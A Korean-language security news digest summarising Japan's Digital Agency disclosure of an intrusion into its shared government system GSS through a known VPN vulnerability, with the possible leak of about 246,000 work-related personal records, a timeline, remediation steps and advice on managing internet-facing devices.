내용 - 일본 디지털청(Digital Agency), 일본 여러 중앙부처에서 공동으로 사용하는 업무 시스템 Government Solution Service (GSS) 해킹 사실 공개
> 약 24만6000건의 개인정보가 외부로 유출됐을 가능성이 확인
> 공격자는 인터넷과 연결된 VPN 장비의 취약점을 이용해 시스템 내부로 침입한 것으로 조사

- 06.25 디지털청은 GSS 유지·운영 담당자의 계정을 이용해 서버에 저장된 대량의 파일에 접근한 이상 행위 탐지 및 조사 시작
> 조사 결과 제3자가 네트워크 연결 장비인 VPN의 취약점을 이용해 GSS 내부로 침입한 사실이 확인
> 디지털청은 문제가 된 유지·운영 계정을 정지하고 침해된 장비와 외부 사이의 통신을 차단
> 외부 전문업체와 조사를 진행해 개인정보가 외부로 빠져나갔을 가능성을 확인

- 유출 가능성이 있는 개인정보는 약 24만6000건
> GSS를 사용하는 정부기관 직원과 관련 업무를 수행한 공무원 등의 정보 약 18만9000건
> 정부 업무에 참여한 사업자와 개인의 정보 약 5만7000건

- 정보 유형별 분류 ① 이름 약 23만6000건 ② 이메일 주소 약 23만1000건 ③ 전화번호 약 9만4000건 ④ 주소 약 1000건
> 다만 전화번호와 주소 상당수는 개인 연락처나 자택 주소가 아니라 정부기관 업무용 연락처와 청사·사업장 주소

- 일본 정부, 마이넘버(My Number), 금융기관 계좌정보, 연금번호는 유출 가능성이 있는 자료에서 확인되지 않으며, 일반 국민의 개인정보도 포함되지 않았다고 설명
> 일부 민간인 정보는 정부 업무를 수행한 기업 직원과 개인사업자, 정부기관이 개최한 웹회의 참석자 등의 업무용 정보

- 이번 사고에서 공격에 이용된 VPN 취약점은 사고 이전에 이미 공개된 취약점
> 해당 취약점이 처음 공개될 당시 CVSS 기준 위험도 ‘중간(Medium)’ 수준
> 내부에서는 일반적인 대응 기준보다 빠르게 조치를 진행하고 있었지만, 수정 적용 전 공격자가 취약점 악용
> 현재는 해당 VPN 장비에 수정 프로그램 적용, 관련 계정의 인증정보 변경, 침해 장비의 외부 통신 차단
> 이후 새로운 비정상 접근이나 의심스러운 통신은 확인되지 않았다고 밝힘

> 다만 VPN 제품, CVE, 구체적인 공격 방법, 배후 공격그룹은 밝히지 않음
> 구체적인 취약점 정보를 공개할 경우 향후 시스템 보안에 영향을 줄 수 있다는 이유

- 제로트러스트 구조를 도입했다고 해서 인터넷에 노출된 경계 장비의 취약점 관리가 중요하지 않은 것은 아님
> 디지털청은 GSS에 제로트러스트 아키텍처를 적용했지만 이번 침입과 개인정보 유출 가능성을 막지 못했다고 인정
> 사고 이후에는 취약점 관리 절차와 외부 접속 방식을 다시 점검

- 국내 공공기관과 기업도 인터넷과 직접 맞닿아 있는 장비의 취약점 관리 체계를 다시 점검할 필요
> VPN, SSL VPN, 방화벽, 보안 게이트웨이 등
> CVSS 점수만으로 패치 순서를 정하기보다 장비의 인터넷 노출 여부, 관리자 권한, 중요 시스템 연결 여부와 실제 공격 가능성 함께 판단
기타 - GSS
> 각 정부부처가 사용하는 업무용 PC와 네트워크, 소프트웨어, 커뮤니케이션 도구와 보안 환경을 공통으로 제공하는 시스템
> 제로트러스트 네트워크 아키텍처도 도입
> 26.02 기준 일본 정부 18개 기관 약 5만3000명이 사용
> 일본 정부는 향후 이용자를 약 28만명 규모까지 확대할 계획
> 여러 정부기관의 업무환경을 하나의 공통 기반으로 통합하는 구조로, 보안장비 한 곳의 취약점이 전체 환경에 미침

- 타임라인
> 06.25 이상 행위 탐지
> 07.15 침입 경로와 개인정보 유출 가능성 확인 후 일본 개인정보보호위원회에 사고 보고
> 09.11 피해 범위와 대상자를 조사한 뒤 공식 공개
> 09.12 업데이트된 조사 결과 기준으로 이번 사고와 관련한 개인정보 악용 등 2차 피해는 확인되지 않음
> 디지털청은 피해 가능성이 있는 대상자의 연락처를 확인해 순차적으로 개별 통지하고 있음

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208517
[2] https://www.digital.go.jp/en/news/2026-0911-01

+ Recent posts